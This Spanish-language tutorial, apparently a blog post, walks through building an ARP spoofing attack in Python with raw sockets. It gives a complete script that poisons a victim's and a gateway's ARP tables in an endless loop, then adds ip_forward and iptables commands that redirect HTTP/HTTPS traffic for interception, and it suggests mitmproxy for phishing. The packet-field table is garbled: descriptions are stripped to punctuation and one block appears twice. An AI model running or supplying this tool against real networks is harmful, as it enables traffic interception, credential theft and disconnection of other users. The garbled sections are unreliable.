Introducción
En este artículo, me gustaría demostrar cómo puede implementar su propio programa de suplantación de identidad ARP en Python. Ya hay miles de implementaciones, pero casi todas utilizan la biblioteca Scapy y un par de métodos. Quizás esta biblioteca sea más eficiente de usar, no lo discuto, pero estaba interesado en implementarla yo mismo usando sockets y me gustaría decirles a los lectores cómo se hace.
Se supone que ya está familiarizado con el funcionamiento del protocolo ARP y sus desventajas, si no, le aconsejo que lea este artículo .
No soy un especialista en seguridad de la información altamente calificado, por lo que les pido que no tiren las pantuflas, sino que especifiquen cualquier inexactitud en los comentarios.
Un poco de teoría
Comencemos con el hecho de que el código de protocolo es \ x08 \ x06 y funciona en la segunda capa OSI, es decir, el canal uno.
Luego, debe familiarizarse con el cuerpo de su paquete para saber qué enviar. En wikipedia está muy bien escrito:
Cuerpo del paquete
Hardware type (HTYPE)
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
A primera vista, puede parecer difícil, pero si lo resuelve, no deberían surgir problemas.
Y así, el primero - Tipo de hardware (Tipo de hardware) para nosotros es Ethernet, por lo que el código será 0x0001 o \ x00 \ x01 , Tipo de protocolo (Tipo de protocolo) - IPv4, codificado como \ x08 \ x00 ; luego viene la longitud del tipo de hardware y protocolo \ x06 \ x04 , es decir, 6 y 4 bytes.
Y al final tenemos un código de operación, que en el caso de una solicitud es \ x00 \ x01 , y en el caso de una respuesta \ x00 \ x02 y las direcciones físicas / lógicas del remitente / destinatario.
Implementación
En primer lugar, debe declarar una instancia de socket y establecer los parámetros necesarios:
import socket
import time
interface = "wlan0" #
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # MAC-, bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-
victim_ip = socket.inet_aton("192.168.1.2") # IP-
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
Suponiendo que ARP es un protocolo OSI Layer 2, usamos socket.PF_PACKET como primer parámetro. También necesitará derechos de root para que el programa funcione.
El método socket.htons () convierte números naturales de 16 bits al orden de bytes de la red.
El método Socket.inet_aton () convierte direcciones IPv4 a formato binario de 32 bits.
También declaré las variables requeridas.
La siguiente etapa es la formación del paquete:
arp_code = b'\x08\x06' #
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code -
protocol = htype + ptype + hlen + plen + operation #
# ,
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
#
# 4 4 ,
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
#
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
Ahora hemos analizado solo el programa en sí, pero si desea no solo desconectar a los usuarios de la puerta de enlace, sino también reemplazar / rastrear paquetes, entonces para esto deberá habilitar el reenvío en ip_forward:
echo 1 > /proc/sys/net/ipv4/ip_forward
Y también configure el enrutamiento de paquetes a través de iptables:
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
Si desea realizar phishing, la utilidad mitmproxy es la mejor opción .
Puede ver el tráfico que pasa a través suyo utilizando la utilidad tcpdump .
También en mi GitHub publiqué un script diseñado para desconectar todos o algunos de los nodos de la puerta de enlace - github.com/secwayz/netbuster
Como resultado de escribir el programa, encontré que incluso con el código de operación 0x0001(solicitud) y con todos los parámetros de la respuesta (son ligeramente diferentes), la víctima aún recibe el paquete y cambia la dirección MAC en la tabla ARP, mientras que la estabilidad del ataque y la fuerza de esta entrada aumentan significativamente. Supongo que este es otro defecto en el protocolo, en el que la interfaz de red no ignora el paquete compuesto incorrectamente, sino que lo procesa y sobrescribe la tabla.